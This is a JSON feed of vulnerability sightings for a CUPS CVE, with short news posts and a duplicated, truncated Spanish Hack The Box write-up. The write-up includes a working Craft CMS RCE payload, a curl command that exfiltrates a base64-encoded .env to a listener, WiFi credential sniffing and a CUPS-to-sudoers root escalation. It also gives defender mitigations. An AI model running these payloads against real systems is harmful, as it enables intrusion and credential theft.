\u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Summary \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-28T01:00:27.795014Z"}, {"uuid": "414f7230-bc19-4890-99da-75c915dabe67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/thehaking/2806", "content": "Scan for CVE-2024-47176 (CUPS - Remote Code Execution) with Nuclei\n\nVulnerability discovery: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\nNuclei Template: https://cloud.projectdiscovery.io/?template=CVE-2024-47176\n\nSource: https://x.com/pdnuclei/status/1840195177098453308\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-08-27T09:00:03.831275Z"}, {"uuid": "3de5302e-c758-4806-960e-6fa35cf81f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/sysadm_in_up/2239", "content": "https://github.com/MalwareTech/CVE-2024-47176-Scanner", "creation_timestamp": "2026-07-29T12:03:16.900471Z"}, {"uuid": "7391ea07-b84c-4f27-ad36-4adfa147f22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/Hackme_news/1013", "content": "\ud83d\udea8\u041d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CUPS \u0432 #Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u0435\u0447\u0430\u0442\u0438! \u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f Debian, Fedora, RHEL. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024-47176 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c \n\nhttps://thehackernews.com/2024/09/critical-linux-cups-printing-system.html\n\n\u00abcups-browsed\u00bb \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 \u043f\u043e\u0440\u0442 UDP 631 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.", "creation_timestamp": "2026-09-01T17:00:05.670323Z"}, {"uuid": "d4e10ac0-a2c9-4ed3-9641-f46da0fbfa50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/Hackme_news/1013", "content": "\ud83d\udea8\u041d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CUPS \u0432 #Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u0435\u0447\u0430\u0442\u0438! \u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f Debian, Fedora, RHEL. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024-47176 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c \n\nhttps://thehackernews.com/2024/09/critical-linux-cups-printing-system.html\n\n\u00abcups-browsed\u00bb \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 \u043f\u043e\u0440\u0442 UDP 631 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.", "creation_timestamp": "2026-09-02T01:03:34.173233Z"}, {"uuid": "0cc5c27e-4dda-440a-8686-32309d896030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/YbRfKEk-IIx1_FMexJ4nj8bwYW1jgQhXCn7l7xzen7fZZLk", "content": "", "creation_timestamp": "2026-09-03T08:00:04.678046Z"}, {"uuid": "7fb58ee0-f801-47f6-a229-b1cca9370921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://gist.github.com/PelucheAsesino/7e8c9344f6d2cfd051b2fcf5f6acb177", "content": "# Layover \u2014 HTB Writeup\n**Dificultad:** Medium  \n**OS:** Linux  \n**Autor:** Vortek Offensive  \n**Fecha:** 2026-09-26\n\n---\n\n## Resumen Ejecutivo\n\nLayover es una m\u00e1quina Medium Linux que simula un entorno corporativo de aeropuerto con una red WiFi interna. El acceso inicial llega por RDP a un jumpbox, desde donde se conecta a una red WiFi simulada (mac80211_hwsim) para capturar credenciales de un usuario en texto claro via sniffing pasivo. Con esas credenciales se explota una vulnerabilidad de inyecci\u00f3n de comportamiento en Craft CMS 5.9.8 que permite RCE sin ser administrador. El movimiento lateral requiere descifrar una contrase\u00f1a cifrada con la clave de seguridad del CMS. La escalada a root se consigue abusando de CVE-2026-34990, una vulnerabilidad en CUPS 2.4.16 que permite a cualquier usuario local capturar un token de autenticaci\u00f3n del demonio de impresi\u00f3n y usarlo para escribir archivos arbitrarios como root \u2014 en este caso, un fragmento de sudoers.\n\n---\n\n## 1. Reconocimiento\n\n**Objetivo de esta fase:** Determinar qu\u00e9 servicios est\u00e1n expuestos en el target para priorizar vectores de ataque.\n\n### 1.1 Puertos abiertos\n\nEl target expone \u00fanicamente dos puertos. Esto es inusual \u2014 la mayor\u00eda de m\u00e1quinas HTB tienen m\u00e1s superficie \u2014 y es un hint de que el acceso inicial no va por la v\u00eda convencional de explotar un servicio web directamente.\n\n```\nPuerto 22  \u2014 SSH (OpenSSH 9.6p1 Ubuntu)\nPuerto 3389 \u2014 RDP/xrdp (no requiere NLA)\n```\n\nEl puerto 3389 corresponde a **RDP** (Remote Desktop Protocol), el protocolo de escritorio remoto de Microsoft adoptado tambi\u00e9n en Linux via `xrdp`. La ausencia de **NLA** (Network Level Authentication) significa que el servidor acepta la conexi\u00f3n antes de pedir credenciales \u2014 esto simplifica la explotaci\u00f3n y es considerado una misconfiguration en entornos de producci\u00f3n.\n\n### 1.2 Acceso inicial via RDP\n\nLa descripci\u00f3n de la m\u00e1quina provee credenciales iniciales: `contractor / Contractor2026!`. La autenticaci\u00f3n SSH con estas credenciales falla porque `sshd` tiene deshabilitada la autenticaci\u00f3n por contrase\u00f1a para este usuario. El acceso correcto es via RDP:\n\n```bash\nrdesktop -u contractor -p 'Contractor2026!' -g 1280x1024 \n```\n\n**rdesktop** es un cliente RDP open source para Linux. Al conectar, se obtiene un escritorio XFCE del sistema `airside-ws01`, que resulta ser un contenedor LXD (identificable por la interfaz `eth0@if11`, que indica una interfaz virtual de red dentro de un namespace).\n\nUna vez dentro, la escalada a root local es inmediata:\n\n```bash\nsudo bash\n# Password: Contractor2026!\n```\n\nEl usuario `contractor` pertenece al grupo `sudo`, lo que permite ejecutar cualquier comando como root. Este jumpbox es intencionalmente d\u00e9bil \u2014 su prop\u00f3sito narrativo es ser un punto de pivoting, no el objetivo final.\n\n---\n\n## 2. Enumeraci\u00f3n de Red Interna\n\n### 2.1 Interfaces de red y WiFi simulado\n\nSiendo root en `airside-ws01`, la enumeraci\u00f3n de interfaces revela algo no convencional:\n\n```bash\nip a\n```\n\n```\n6: wlan2:  mtu 1500 ...\n7: wlan3:  mtu 1500 ...\n10: eth0@if11: ... inet 10.159.143.45/24\n```\n\nHay dos interfaces WiFi (`wlan2`, `wlan3`) inactivas. El driver detr\u00e1s de estas interfaces es `mac80211_hwsim` \u2014 un m\u00f3dulo del kernel de Linux que simula hardware WiFi para pruebas, permitiendo crear redes WiFi completamente virtuales con comportamiento real (beacons, autenticaci\u00f3n, transmisi\u00f3n de frames).\n\nUn scan revela la red disponible:\n\n```bash\niw dev wlan2 scan 2>/dev/null | grep SSID\n# SSID: HTB International WiFi\n```\n\nLa red no tiene contrase\u00f1a (`key_mgmt: NONE`), lo cual es el estado original del challenge. Conectar a ella asigna una IP en la subnet `10.13.37.0/24`:\n\n```bash\nnmcli dev wifi connect \"HTB International WiFi\" ifname wlan2\n# ip: 10.13.37.182/24\n```\n\n### 2.2 Captura de credenciales en tr\u00e1fico WiFi\n\nCon `wlan3` en **modo monitor** (captura todo el tr\u00e1fico del medio sin necesidad de estar asociado a la red) y configurada en el **canal 6** (donde est\u00e1 el AP seg\u00fan el scan), se puede ver el tr\u00e1fico de otros clientes en la misma red WiFi:\n\n```bash\nip link set wlan3 down\niw dev wlan3 set type monitor\nip link set wlan3 up\niw dev wlan3 set channel 6\n\ntshark -i wlan3 \\\n  -Y 'http.request.method==\"POST\"' \\\n  -T fields \\\n  -e ip.src \\\n  -e http.request.full_uri \\\n  -e urlencoded-form.key \\\n  -e urlencoded-form.value\n```\n\n**tshark** es la versi\u00f3n de l\u00ednea de comandos de Wireshark \u2014 un analizador de protocolos de red. El flag `-Y` aplica un filtro de visualizaci\u00f3n que solo muestra peticiones HTTP POST. Esto es posible porque la red WiFi no tiene cifrado (WPA/WPA2), por lo que todos los frames son visibles en texto claro para cualquiera en modo monitor.\n\nResultado capturado:\n\n```\n10.13.37.132    http://portal.international.htb/miles/login.php    username,password    jenny,Fl1ghtDeck2026!\n```\n\nUn bot (simulando el comportamiento de un empleado) hace login al portal del aeropuerto peri\u00f3dicamente con credenciales en texto claro sobre HTTP sin TLS. Las credenciales son: `jenny / Fl1ghtDeck2026!`.\n\nEl servidor del portal est\u00e1 en `10.13.37.10`. Se agrega al `/etc/hosts`:\n\n```bash\necho \"10.13.37.10 portal.international.htb\" >> /etc/hosts\n```\n\n---\n\n## 3. Foothold \u2014 RCE en Craft CMS\n\n### 3.1 Reconocimiento del portal\n\n`http://portal.international.htb` aloja **Craft CMS 5.9.8**, un CMS (Content Management System) orientado a empresas, construido en PHP sobre el framework Yii2. El panel de administraci\u00f3n est\u00e1 en `/admin`.\n\nLas credenciales de Jenny permiten autenticarse en el panel admin, pero con privilegios limitados (`userIsAdmin: false`). La configuraci\u00f3n `allowAdminChanges: false` bloquea los vectores m\u00e1s obvios de SSTI (inyecci\u00f3n en Title Format de Entry Types).\n\n### 3.2 La vulnerabilidad \u2014 Inyecci\u00f3n de comportamiento Yii2\n\nEl endpoint `/index.php?p=admin/actions/element-search/search` acepta una estructura JSON que define condiciones de b\u00fasqueda de elementos en Craft. Dentro de esta estructura se pueden definir `fieldLayouts` con un array `as rce` que especifica behaviors de Yii2.\n\n**Yii2** es el framework PHP sobre el que est\u00e1 construido Craft CMS. Los **behaviors** en Yii2 son clases que extienden la funcionalidad de un componente en tiempo de ejecuci\u00f3n \u2014 una forma de composici\u00f3n en lugar de herencia. El problema: el endpoint no valida qu\u00e9 clase de behavior se instancia ni qu\u00e9 m\u00e9todos invoca.\n\nLa clase `Psy\\Readline\\Hoa\\ConsoleProcessus` es parte de PsySH (un REPL de PHP), que a su vez usa `Hoa\\Console` para ejecutar procesos del sistema. El m\u00e9todo `execute` acepta un comando como string o array y lo ejecuta.\n\nEl payload completo:\n\n```python\npayload = {\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"siteId\": 1,\n    \"search\": \"\",\n    \"condition\": {\n        \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n        \"elementType\": \"craft\\\\elements\\\\Category\",\n        \"fieldLayouts\": [{\n            \"as rce\": {\n                \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n                \"__construct()\": [{\n                    \"attributeTypes\": {\n                        \"typecastBeforeSave\": [\n                            \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                            \"execute\"\n                        ]\n                    },\n                    \"typecastBeforeSave\": [\"sh\", \"-c\", \"\"]\n                }]\n            },\n            \"on *\": \"self::beforeSave\"\n        }]\n    },\n    \"CRAFT_CSRF_TOKEN\": csrf2\n}\n```\n\nEl comando se pasa como array para que `ConsoleProcessus` lo ejecute via `exec()` de PHP sin pasar por un shell, lo que evita problemas de escape de caracteres especiales.\n\n### 3.3 Exfiltraci\u00f3n de datos via HTTP\n\nDado que el output del comando no aparece en la respuesta JSON, se exfiltra via petici\u00f3n HTTP al jumpbox (que act\u00faa como receptor):\n\n```python\n# En el jumpbox \u2014 servidor HTTP receptor\nimport http.server, threading, urllib.parse, base64\n\n# El comando en el servidor remoto\ncmd = [\"sh\", \"-c\", \"curl -s http://10.13.37.182:9999/$(cat /var/www/portal/.env | base64 -w0)\"]\n```\n\nEl servidor remoto (`10.13.37.10`) ejecuta `curl` con el output del comando codificado en base64 como path de la URL. El jumpbox recibe la petici\u00f3n y decodifica el path.\n\n### 3.4 Obtenci\u00f3n del `.env` y descifrado de credenciales\n\nEl archivo `/var/www/portal/.env` contiene la clave de seguridad del CMS:\n\n```\nCRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr\n```\n\nEn el backup SQL del CMS (obtenido via el panel de Database Backup al que Jenny tiene acceso) existe la tabla `htbairways_settings` con una contrase\u00f1a cifrada:\n\n```\nmailRelayPassword = u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0...\nmailRelayUser     = aporter\n```\n\n**Craft CMS** cifra datos sensibles usando su `Security::encryptByKey()`, que internamente usa AES-256-GCM con derivaci\u00f3n de clave via HKDF. El descifrado requiere la `CRAFT_SECURITY_KEY`:\n\n```bash\n# En el servidor del CMS (via RCE o shell)\ncd /var/www/portal\nphp -r \"\nrequire 'vendor/autoload.php';\n\\$security = new \\yii\\base\\Security();\necho \\$security->decryptByKey(\n    base64_decode('u0E7OgbBeWhhPn1HajsFMDg...'),\n    'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr'\n);\n\"\n# Output: Skyp0rt_Relay!26\n```\n\n---\n\n## 4. Movimiento Lateral \u2014 SSH como aporter\n\nCon las credenciales descifradas (`aporter / Skyp0rt_Relay!26`) se obtiene acceso SSH directo al servidor del CMS desde el jumpbox:\n\n```bash\nsshpass -p 'Skyp0rt_Relay!26' ssh -o StrictHostKeyChecking=no aporter@10.13.37.10\n```\n\n```\naporter@portal:~$ cat user.txt\n04eb9d0058a80fa297137fbf4741f0ce\n```\n\nEl usuario `aporter` no tiene acceso `sudo` ni pertenece a grupos privilegiados. La enumeraci\u00f3n post-acceso identifica que `cupsd` (el demonio de CUPS) est\u00e1 corriendo como root en `localhost:631`.\n\n---\n\n## 5. Escalada de Privilegios \u2014 CVE-2026-34990 (CUPS 2.4.16)\n\n### 5.1 \u00bfQu\u00e9 es CUPS?\n\n**CUPS** (Common Unix Printing System) es el sistema de impresi\u00f3n est\u00e1ndar en Linux y macOS. El demonio `cupsd` gestiona impresoras, colas de impresi\u00f3n y trabajos. Corre como root porque necesita acceso directo a dispositivos de hardware y escritura en directorios del sistema.\n\n### 5.2 La vulnerabilidad\n\n**CVE-2026-34990** afecta espec\u00edficamente a CUPS 2.4.16. El sistema tiene dos mecanismos de autenticaci\u00f3n relevantes:\n\n1. **CUPS-Create-Local-Printer**: Una operaci\u00f3n IPP que crea una impresora temporal. Por dise\u00f1o, **no requiere autenticaci\u00f3n de administrador** \u2014 cualquier usuario local puede invocarla. La impresora creada apunta a un `device-uri` que puede ser una URL IPP.\n\n2. **Token `Authorization: Local`**: Cuando `cupsd` necesita validar una impresora temporal contra el `device-uri` especificado, hace una conexi\u00f3n IPP saliente a esa URI. Si la URI apunta a un servicio en localhost que responde con `WWW-Authenticate: Local trc=\"y\"`, cupsd responde incluyendo su token de autenticaci\u00f3n local en el header `Authorization: Local `.\n\n3. **El token es reutilizable**: Cualquier petici\u00f3n a `/admin/` en localhost que incluya ese token es aceptada como autenticada con permisos de administrador de CUPS.\n\n4. **File:// bypass**: La ruta normal de CUPS rechaza URIs `file://` en impresoras persistentes (la pol\u00edtica `FileDevice` lo bloquea). El bypass es crear primero una impresora temporal con el URI `file:///ruta/archivo` y luego hacerla permanente usando `OP_ADD_MODIFY_PRINTER` con `printer-is-temporary=false` sin re-especificar el `device-uri` \u2014 en este punto ya no se valida la pol\u00edtica.\n\n5. **Escritura arbitraria como root**: Al imprimir un trabajo en esa impresora, `cupsd` abre el archivo destino con `O_WRONLY|O_CREAT|O_TRUNC` corriendo como root, escribiendo el contenido del job.\n\n### 5.3 Cadena de explotaci\u00f3n\n\n```\nUsuario local sin privilegios\n    \u2193 CUPS-Create-Local-Printer \u2192 impresora temporal con device-uri=ipp://localhost:9189/\n    \u2193 cupsd conecta a 9189 para validar\n    \u2193 Servidor captura Authorization: Local \n    \u2193 Con TOKEN \u2192 OP_ADD_MODIFY_PRINTER \u2192 impresora permanente con file:///etc/sudoers.d/aporter-pwn\n    \u2193 Print-Job \u2192 cupsd escribe como root el contenido del job\n    \u2193 Contenido: \"aporter ALL=(ALL) NOPASSWD: ALL\"\n    \u2193 sudo -n bash \u2192 root\n```\n\n### 5.4 Ejecuci\u00f3n\n\n```bash\npython3 /tmp/cups_root.py\n```\n\n```\n[+] Local token: 8A8B4991E5C14CEA069BA9824C9C85FB\n[*] step 1: write sudoers fragment\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [...]\n[*] sudo -n id -> rc_ok=True :: uid=0(root) gid=0(root) groups=0(root)\n[+] ROOT via sudoers\n```\n\n```bash\nsudo cat /root/root.txt\n# fa8b0a8cbb1d1100efe369bc89196c5a\n```\n\n---\n\n## 6. Rabbit Holes\n\n**SSH con las credenciales de contractor** \u2014 El servidor solo acepta autenticaci\u00f3n por llave p\u00fablica para SSH. Intentar autenticarse por contrase\u00f1a siempre falla con `Permission denied (publickey,password)`. El acceso inicial correcto es RDP.\n\n**Crackear el hash bcrypt del admin de Craft** \u2014 El hash del administrador (`$2y$13$ZdTZwteklJx...`) con bcrypt cost factor 13 tardar\u00eda aproximadamente 8 d\u00edas en una CPU de doce n\u00facleos contra rockyou.txt. No es el camino. Las credenciales necesarias se obtienen descifrando el `mailRelayPassword` con la `CRAFT_SECURITY_KEY`.\n\n**CVE-2024-47176 (cups-browsed)** \u2014 Esta variante del ataque a CUPS requiere el demonio `cups-browsed` corriendo, que escucha por UDP en el puerto 631. En este sistema, `cups-browsed` no est\u00e1 instalado. Solo corre `cupsd`.\n\n**Reverse shell directa** \u2014 El servidor `10.13.37.10` no tiene salida directa a la IP del atacante en `tun0`. Solo puede conectar al jumpbox en `10.13.37.182`. Los intentos de reverse shell hacia la IP de HTB fallan silenciosamente.\n\n---\n\n## 7. Lecciones para Defenders\n\n**Red WiFi sin cifrado**\nEl sniffing fue posible porque la red no usa WPA2/WPA3. Cualquier cliente en modo monitor puede capturar todo el tr\u00e1fico. La autenticaci\u00f3n HTTP sin TLS sobre esta red expone credenciales en texto claro.\n- Mitigaci\u00f3n: WPA3-Enterprise con certificados; TLS obligatorio en todas las aplicaciones internas aunque la red sea \"corporativa\".\n- Detecci\u00f3n: Monitorear clientes en modo monitor via 802.11 management frames (Probe Requests con capabilities que indican monitor mode, ausencia de Association Requests).\n\n**Inyecci\u00f3n de comportamiento en Craft CMS**\nEl endpoint `element-search/search` acepta clases PHP arbitrarias en la definici\u00f3n de condiciones sin sanitizar. Esto no requiere ser administrador \u2014 cualquier usuario con acceso al panel admin puede explotarlo.\n- Mitigaci\u00f3n: Actualizar a Craft CMS 5.9.9+ donde se limita la instanciaci\u00f3n de clases en contextos de b\u00fasqueda.\n- Detecci\u00f3n: Alertas en el WAF para requests a `/admin/actions/element-search/search` con payloads que contengan `__class`, `ConsoleProcessus` o `AttributeTypecastBehavior`.\n\n**Contrase\u00f1a de relay SMTP cifrada pero recuperable**\nEl cifrado de la contrase\u00f1a en la base de datos est\u00e1 bien implementado, pero la clave de descifrado (`CRAFT_SECURITY_KEY`) vive en un archivo `.env` en el mismo servidor. Un atacante con RCE puede leer ambos y reconstruir la credencial.\n- Mitigaci\u00f3n: Separar la gesti\u00f3n de secretos del servidor de aplicaci\u00f3n (HashiCorp Vault, AWS Secrets Manager). El servidor de aplicaci\u00f3n obtiene el secreto en tiempo de ejecuci\u00f3n sin que quede en disco.\n\n**CUPS 2.4.16 \u2014 escritura arbitraria como root**\nLa operaci\u00f3n `CUPS-Create-Local-Printer` no requiere autenticaci\u00f3n admin y permite crear impresoras con URIs arbitrarios, incluidos `file://`. El token de autenticaci\u00f3n local de CUPS es captu-rable por cualquier proceso local.\n- Mitigaci\u00f3n: Actualizar a CUPS 2.4.17+ donde se elimin\u00f3 el soporte para `file://` en colas de impresi\u00f3n y se restringe el uso de certificados locales sobre la interfaz de loopback.\n- Detecci\u00f3n: Monitorear conexiones salientes desde `cupsd` a puertos no est\u00e1ndar en localhost; alertar sobre escrituras en `/etc/sudoers.d/` y `/etc/cron.d/` por parte del proceso `cupsd`.\n\n---\n\n## 8. TTPs (MITRE ATT&CK)\n\n| ID | T\u00e9cnica | C\u00f3mo se us\u00f3 |\n|----|---------|-------------|\n| T1021.001 | Remote Services: Remote Desktop Protocol | Acceso inicial al jumpbox via RDP con credenciales provistas |\n| T1078 | Valid Accounts | Uso de credenciales de contractor para acceso inicial |\n| T1040 | Network Sniffing | Captura de credenciales de Jenny via tshark en wlan3 en modo monitor |\n| T1190 | Exploit Public-Facing Application | RCE en Craft CMS via inyecci\u00f3n de behavior Yii2 |\n| T1552.001 | Unsecured Credentials: Credentials In Files | Lectura de CRAFT_SECURITY_KEY del .env |\n| T1140 | Deobfuscate/Decode Files or Information | Descifrado de mailRelayPassword con la security key de Craft |\n| T1068 | Exploitation for Privilege Escalation | CVE-2026-34990 en CUPS 2.4.16 para escritura arbitraria como root |\n| T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Escritura de fragmento sudoers via CUPS para obtener sudo sin contrase\u00f1a |\n\n---\n\n*Vortek Offensive \u2014 vortekoffensive.com*\n", "creation_timestamp": "2026-09-28T02:26:17.000000Z"}, {"uuid": "b01c1a23-58f0-4424-817c-4997f0e4670c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://gist.github.com/spkide/bb38b8b30d05e8fb7d44ac48984b7b38", "content": "# Layover \u2014 HTB Writeup\n**Dificultad:** Medium  \n**OS:** Linux  \n**Autor:** Vortek Offensive  \n**Fecha:** 2026-09-26\n\n---\n\n## Resumen Ejecutivo\n\nLayover es una m\u00e1quina Medium Linux que simula un entorno corporativo de aeropuerto con una red WiFi interna. El acceso inicial llega por RDP a un jumpbox, desde donde se conecta a una red WiFi simulada (mac80211_hwsim) para capturar credenciales de un usuario en texto claro via sniffing pasivo. Con esas credenciales se explota una vulnerabilidad de inyecci\u00f3n de comportamiento en Craft CMS 5.9.8 que permite RCE sin ser administrador. El movimiento lateral requiere descifrar una contrase\u00f1a cifrada con la clave de seguridad del CMS. La escalada a root se consigue abusando de CVE-2026-34990, una vulnerabilidad en CUPS 2.4.16 que permite a cualquier usuario local capturar un token de autenticaci\u00f3n del demonio de impresi\u00f3n y usarlo para escribir archivos arbitrarios como root \u2014 en este caso, un fragmento de sudoers.\n\n---\n\n## 1. Reconocimiento\n\n**Objetivo de esta fase:** Determinar qu\u00e9 servicios est\u00e1n expuestos en el target para priorizar vectores de ataque.\n\n### 1.1 Puertos abiertos\n\nEl target expone \u00fanicamente dos puertos. Esto es inusual \u2014 la mayor\u00eda de m\u00e1quinas HTB tienen m\u00e1s superficie \u2014 y es un hint de que el acceso inicial no va por la v\u00eda convencional de explotar un servicio web directamente.\n\n```\nPuerto 22  \u2014 SSH (OpenSSH 9.6p1 Ubuntu)\nPuerto 3389 \u2014 RDP/xrdp (no requiere NLA)\n```\n\nEl puerto 3389 corresponde a **RDP** (Remote Desktop Protocol), el protocolo de escritorio remoto de Microsoft adoptado tambi\u00e9n en Linux via `xrdp`. La ausencia de **NLA** (Network Level Authentication) significa que el servidor acepta la conexi\u00f3n antes de pedir credenciales \u2014 esto simplifica la explotaci\u00f3n y es considerado una misconfiguration en entornos de producci\u00f3n.\n\n### 1.2 Acceso inicial via RDP\n\nLa descripci\u00f3n de la m\u00e1quina provee credenciales iniciales: `contractor / Contractor2026!`. La autenticaci\u00f3n SSH con estas credenciales falla porque `sshd` tiene deshabilitada la autenticaci\u00f3n por contrase\u00f1a para este usuario. El acceso correcto es via RDP:\n\n```bash\nrdesktop -u contractor -p 'Contractor2026!' -g 1280x1024 \n```\n\n**rdesktop** es un cliente RDP open source para Linux. Al conectar, se obtiene un escritorio XFCE del sistema `airside-ws01`, que resulta ser un contenedor LXD (identificable por la interfaz `eth0@if11`, que indica una interfaz virtual de red dentro de un namespace).\n\nUna vez dentro, la escalada a root local es inmediata:\n\n```bash\nsudo bash\n# Password: Contractor2026!\n```\n\nEl usuario `contractor` pertenece al grupo `sudo`, lo que permite ejecutar cualquier comando como root. Este jumpbox es intencionalmente d\u00e9bil \u2014 su prop\u00f3sito narrativo es ser un punto de pivoting, no el objetivo final.\n\n---\n\n## 2. Enumeraci\u00f3n de Red Interna\n\n### 2.1 Interfaces de red y WiFi simulado\n\nSiendo root en `airside-ws01`, la enumeraci\u00f3n de interfaces revela algo no convencional:\n\n```bash\nip a\n```\n\n```\n6: wlan2:  mtu 1500 ...\n7: wlan3:  mtu 1500 ...\n10: eth0@if11: ... inet 10.159.143.45/24\n```\n\nHay dos interfaces WiFi (`wlan2`, `wlan3`) inactivas. El driver detr\u00e1s de estas interfaces es `mac80211_hwsim` \u2014 un m\u00f3dulo del kernel de Linux que simula hardware WiFi para pruebas, permitiendo crear redes WiFi completamente virtuales con comportamiento real (beacons, autenticaci\u00f3n, transmisi\u00f3n de frames).\n\nUn scan revela la red disponible:\n\n```bash\niw dev wlan2 scan 2>/dev/null | grep SSID\n# SSID: HTB International WiFi\n```\n\nLa red no tiene contrase\u00f1a (`key_mgmt: NONE`), lo cual es el estado original del challenge. Conectar a ella asigna una IP en la subnet `10.13.37.0/24`:\n\n```bash\nnmcli dev wifi connect \"HTB International WiFi\" ifname wlan2\n# ip: 10.13.37.182/24\n```\n\n### 2.2 Captura de credenciales en tr\u00e1fico WiFi\n\nCon `wlan3` en **modo monitor** (captura todo el tr\u00e1fico del medio sin necesidad de estar asociado a la red) y configurada en el **canal 6** (donde est\u00e1 el AP seg\u00fan el scan), se puede ver el tr\u00e1fico de otros clientes en la misma red WiFi:\n\n```bash\nip link set wlan3 down\niw dev wlan3 set type monitor\nip link set wlan3 up\niw dev wlan3 set channel 6\n\ntshark -i wlan3 \\\n  -Y 'http.request.method==\"POST\"' \\\n  -T fields \\\n  -e ip.src \\\n  -e http.request.full_uri \\\n  -e urlencoded-form.key \\\n  -e urlencoded-form.value\n```\n\n**tshark** es la versi\u00f3n de l\u00ednea de comandos de Wireshark \u2014 un analizador de protocolos de red. El flag `-Y` aplica un filtro de visualizaci\u00f3n que solo muestra peticiones HTTP POST. Esto es posible porque la red WiFi no tiene cifrado (WPA/WPA2), por lo que todos los frames son visibles en texto claro para cualquiera en modo monitor.\n\nResultado capturado:\n\n```\n10.13.37.132    http://portal.international.htb/miles/login.php    username,password    jenny,Fl1ghtDeck2026!\n```\n\nUn bot (simulando el comportamiento de un empleado) hace login al portal del aeropuerto peri\u00f3dicamente con credenciales en texto claro sobre HTTP sin TLS. Las credenciales son: `jenny / Fl1ghtDeck2026!`.\n\nEl servidor del portal est\u00e1 en `10.13.37.10`. Se agrega al `/etc/hosts`:\n\n```bash\necho \"10.13.37.10 portal.international.htb\" >> /etc/hosts\n```\n\n---\n\n## 3. Foothold \u2014 RCE en Craft CMS\n\n### 3.1 Reconocimiento 